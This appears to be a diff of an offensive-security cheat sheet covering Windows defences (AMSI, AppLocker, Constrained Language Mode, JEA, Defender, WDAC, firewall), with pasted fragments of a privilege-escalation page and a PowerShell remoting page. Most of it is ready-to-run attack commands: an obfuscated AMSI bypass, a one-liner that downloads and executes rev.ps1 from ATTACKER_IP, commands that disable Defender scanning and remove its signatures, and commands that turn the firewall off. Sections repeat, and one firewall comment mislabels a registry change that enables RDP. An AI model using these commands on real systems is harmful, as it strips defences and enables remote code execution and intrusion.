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Windows Defenses
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189
Methodology and Resources/Windows - Defenses.md
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Methodology and Resources/Windows - Defenses.md
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# Windows - Defenses
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## Summary
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* [AMSI](#amsi)
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* [AppLocker](#applocker)
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* [DPAPI](#dpapi)
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* [Powershell](#powershell)
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* [JEA](#jea)
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* [Contrained Language Mode](#constrained-language-mode)
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* [Windows Defender Antivirus](#windows-defender-antivirus)
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* [Windows Defender Application Control](#windows-defender-application-control)
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* [Windows Defender Firewall](#windows-defender-firewall)
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## AMSI
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> The Anti-Malware Scan Interface (AMSI) is a Windows API (Application Programming Interface) that provides a unified interface for applications and services to integrate with any anti-malware product installed on a system. The API allows anti-malware solutions to scan files and scripts at runtime, and provides a means for applications to request a scan of specific content.
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Find more AMSI bypass: [Windows - AMSI Bypass.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass.md)
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```powershell
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PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
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```
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## AppLocker
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> AppLocker is a security feature in Microsoft Windows that provides administrators with the ability to control which applications and files users are allowed to run on their systems. The rules can be based on various criteria, such as the file path, file publisher, or file hash, and can be applied to specific users or groups.
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* Enumerate Local AppLocker Effective Policy
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```powershell
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PowerView PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
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PowerView PS C:\> Get-AppLockerPolicy -effective -xml
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Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe # (Keys: Appx, Dll, Exe, Msi and Script
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```
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* AppLocker Bypass
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* By default, `C:\Windows` is not blocked, and `C:\Windows\Tasks` is writtable by any users
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* [api0cradle/UltimateAppLockerByPassList/Generic-AppLockerbypasses.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md)
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* [api0cradle/UltimateAppLockerByPassList/VerifiedAppLockerBypasses.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md)
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* [api0cradle/UltimateAppLockerByPassList/DLL-Execution.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md)
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## DPAPI
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Refer to [PayloadsAllTheThings/Windows - DPAPI.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20DPAPI.md)
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## Powershell
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### JEA
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> Just-Enough-Administration (JEA) is a feature in Microsoft Windows Server that allows administrators to delegate specific administrative tasks to non-administrative users. JEA provides a secure and controlled way to grant limited, just-enough access to systems, while ensuring that the user cannot perform unintended actions or access sensitive information.
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Breaking out if JEA:
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* List available cmdlets: `command`
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* Look for non-default cmdlets:
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```ps1
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Set-PSSessionConfiguration
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Start-Process
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New-Service
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Add-Computer
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```
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### Constrained Language Mode
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Check if we are in a constrained mode: `$ExecutionContext.SessionState.LanguageMode`
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* Bypass using an old Powershell. Powershell v2 doesn't support CLM.
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```ps1
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powershell.exe -version 2
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powershell.exe -version 2 -ExecutionPolicy bypass
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powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')"
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```
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* Bypass when `__PSLockDownPolicy` is used. Just put "System32" somewhere in the path.
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```ps1
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# Enable CLM from the environment
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[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')
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Get-ChildItem -Path Env:
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# Create a check-mode.ps1 containing your "evil" powershell commands
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$mode = $ExecutionContext.SessionState.LanguageMode
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write-host $mode
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# Simple bypass, execute inside a System32 folder
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PS C:\> C:\Users\Public\check-mode.ps1
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ConstrainedLanguage
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PS C:\> C:\Users\Public\System32\check-mode.ps1
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FullLanguagge
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```
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* Bypass using COM: [xpn/COM_to_registry.ps1](https://gist.githubusercontent.com/xpn/1e9e879fab3e9ebfd236f5e4fdcfb7f1/raw/ceb39a9d5b0402f98e8d3d9723b0bd19a84ac23e/COM_to_registry.ps1)
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* Bypass using your own Powershell DLL: [p3nt4/PowerShdll](https://github.com/p3nt4/PowerShdll) & [iomoath/PowerShx](https://github.com/iomoath/PowerShx)
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```ps1
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rundll32 PowerShdll,main <script>
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rundll32 PowerShdll,main -h Display this message
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rundll32 PowerShdll,main -f <path> Run the script passed as argument
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rundll32 PowerShdll,main -w Start an interactive console in a new window (Default)
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rundll32 PowerShdll,main -i Start an interactive console in this console
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rundll32 PowerShx.dll,main -e <PS script to run>
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rundll32 PowerShx.dll,main -f <path> Run the script passed as argument
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rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet> Load a script and run a PS cmdlet
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rundll32 PowerShx.dll,main -w Start an interactive console in a new window
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rundll32 PowerShx.dll,main -i Start an interactive console
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rundll32 PowerShx.dll,main -s Attempt to bypass AMSI
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rundll32 PowerShx.dll,main -v Print Execution Output to the console
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```
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## Windows Defender Antivirus
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Also known as `Microsoft Defender`.
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```powershell
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# check status of Defender
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PS C:\> Get-MpComputerStatus
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# disable scanning all downloaded files and attachments, disable AMSI (reactive)
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PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
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PS C:\> Set-MpPreference -DisableIOAVProtection $true
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# disable AMSI (set to 0 to enable)
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PS C:\> Set-MpPreference -DisableScriptScanning 1
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# exclude a folder
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PS C:\> Add-MpPreference -ExclusionPath "C:\Temp"
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PS C:\> Add-MpPreference -ExclusionPath "C:\Windows\Tasks"
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PS C:\> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
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# remove signatures (if Internet connection is present, they will be downloaded again):
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PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
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PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
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```
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## Windows Defender Application Control
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Also known as `WDAC/UMCI/Device Guard`.
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> Windows Defender Application Guard, formerly known as Device Guard has the power to control if an application may or may not be executed on a Windows device. WDAC will prevent the execution, running, and loading of unwanted or malicious code, drivers, and scripts. WDAC does not trust any software it does not know of.
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* Get WDAC current mode
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```ps1
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$ Get-ComputerInfo
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DeviceGuardCodeIntegrityPolicyEnforcementStatus : EnforcementMode
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DeviceGuardUserModeCodeIntegrityPolicyEnforcementStatus : EnforcementMode
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```
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* Device Guard policy location: `C:\Windows\System32\CodeIntegrity\CiPolicies\Active\{PolicyId GUID}.cip`
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* Device Guard example policies: `C:\Windows\System32\CodeIntegrity\ExamplePolicies\`
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* WDAC bypass techniques: [bohops/UltimateWDACBypassList](https://github.com/bohops/UltimateWDACBypassList)
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* WDAC utilities: [mattifestation/WDACTools](https://github.com/mattifestation/WDACTools), a PowerShell module to facilitate building, configuring, deploying, and auditing Windows Defender Application Control (WDAC) policies
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## Windows Defender Firewall
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* List firewall state and current configuration
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```powershell
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netsh advfirewall firewall dump
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# or
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netsh firewall show state
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netsh firewall show config
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```
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* List firewall's blocked ports
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```powershell
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$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports
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```
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* Disable firewall
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```powershell
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# Disable Firewall via cmd
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reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
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# Disable Firewall via Powershell
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powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" –Value'`
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# Disable Firewall on any windows using native command
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netsh firewall set opmode disable
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netsh Advfirewall set allprofiles state off
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```
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## References
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* [SNEAKING PAST DEVICE GUARD - Cybereason - Philip Tsukerman](https://troopers.de/downloads/troopers19/TROOPERS19_AR_Sneaking_Past_Device_Guard.pdf)
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* [Windows Version and Configuration](#windows-version-and-configuration)
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* [User Enumeration](#user-enumeration)
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* [Network Enumeration](#network-enumeration)
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* [Antivirus & Detections](#antivirus--detections)
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* [Windows Defender](#windows-defender)
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* [Firewall](#firewall)
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* [AppLocker Enumeration](#applocker-enumeration)
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* [Powershell](#powershell)
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* [Default Writeable Folders](#default-writeable-folders)
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* [Antivirus Enumeration](#antivirus-enumeration)
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* [Default Writeable Folders](#default-writeable-folders)
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* [EoP - Looting for passwords](#eop---looting-for-passwords)
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* [SAM and SYSTEM files](#sam-and-system-files)
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* [HiveNightmare](#hivenightmare)
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@ -254,111 +250,12 @@ reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
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Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
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```
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## Antivirus & Detections
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## Antivirus Enumeration
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Enumerate antivirus on a box with `WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName`
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### Windows Defender
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```powershell
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# check status of Defender
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PS C:\> Get-MpComputerStatus
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# disable scanning all downloaded files and attachments, disable AMSI (reactive)
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PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
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PS C:\> Set-MpPreference -DisableIOAVProtection $true
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# disable AMSI (set to 0 to enable)
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PS C:\> Set-MpPreference -DisableScriptScanning 1
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# exclude a folder
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PS C:\> Add-MpPreference -ExclusionPath "C:\Temp"
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PS C:\> Add-MpPreference -ExclusionPath "C:\Windows\Tasks"
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PS C:\> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
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# remove signatures (if Internet connection is present, they will be downloaded again):
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PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
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PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
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```
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### Firewall
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List firewall state and current configuration
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```powershell
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netsh advfirewall firewall dump
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# or
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netsh firewall show state
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netsh firewall show config
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```
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List firewall's blocked ports
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```powershell
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$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports
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```
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Disable firewall
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```powershell
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# Disable Firewall on Windows 7 via cmd
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reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
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# Disable Firewall on Windows 7 via Powershell
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powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" –Value'`
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# Disable Firewall on any windows via cmd
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netsh firewall set opmode disable
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netsh Advfirewall set allprofiles state off
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```
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### AppLocker Enumeration
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- With the GPO
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- `HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2` (Keys: Appx, Dll, Exe, Msi and Script).
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* List AppLocker rules
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```powershell
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PowerView PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
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```
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* AppLocker Bypass
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* By default, `C:\Windows` is not blocked, and `C:\Windows\Tasks` is writtable by any users
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* https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
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* https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md
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* https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md
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### Powershell
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Default powershell locations in a Windows system.
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```powershell
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C:\windows\syswow64\windowspowershell\v1.0\powershell
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell
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```
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#### Powershell Constrained Mode
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* Check if we are in a constrained mode: `$ExecutionContext.SessionState.LanguageMode`
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* [bypass-clm - PowerShell Constrained Language Mode Bypass](https://github.com/calebstewart/bypass-clm)
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* [PowerShdll - Powershell with no Powershell.exe via DLL's](https://github.com/p3nt4/PowerShdll): `rundll32.exe C:\temp\PowerShdll.dll,main`
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* Other bypasses
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```powershell
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PS > &{ whoami }
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powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')"
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```
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#### AMSI Bypass
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Find more AMSI bypass: [here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass.md)
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```powershell
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PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
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```
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### Default Writeable Folders
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## Default Writeable Folders
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```powershell
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C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
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@ -222,26 +222,35 @@ PS> $cred = New-Object System.Management.Automation.PSCredential ('DOMAIN\Userna
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### Powershell PSSESSION
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```powershell
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PS> Enable-PSRemoting
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* Enable PSRemoting on the host
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```ps1
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Enable-PSRemoting -Force
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net start winrm
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# Invoke command
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PS> Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }
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# Add the machine to the trusted hosts
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Set-Item wsman:\localhost\client\trustedhosts *
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Set-Item WSMan:\localhost\Client\TrustedHosts -Value "10.10.10.10"
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```
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# one-to-one interactive session
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PS> Enter-PSSession -computerName DC01
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[DC01]: PS>
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* Execute a single command
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```powershell
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PS> Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }
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PS> Invoke-Command -computername DC01,CLIENT1 -scriptBlock { Get-Service }
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PS> Invoke-Command -computername DC01,CLIENT1 -filePath c:\Scripts\Task.ps1
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```
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# one-to-one execute scripts and commands
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PS> $Session = New-PSSession -ComputerName CLIENT1
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PS> Invoke-Command -Session $Session -scriptBlock { $test = 1 }
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PS> Invoke-Command -Session $Session -scriptBlock { $test }
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1
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* Interact with a PS Session
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```powershell
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PS> Enter-PSSession -computerName DC01
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[DC01]: PS>
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# one-to-one execute scripts and commands
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PS> $Session = New-PSSession -ComputerName CLIENT1
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PS> Invoke-Command -Session $Session -scriptBlock { $test = 1 }
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PS> Invoke-Command -Session $Session -scriptBlock { $test }
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1
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```
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# one-to-many execute scripts and commands
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PS> Invoke-Command -computername DC01,CLIENT1 -scriptBlock { Get-Service }
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PS> Invoke-Command -computername DC01,CLIENT1 -filePath c:\Scripts\Task.ps1
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```
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### Powershell Secure String
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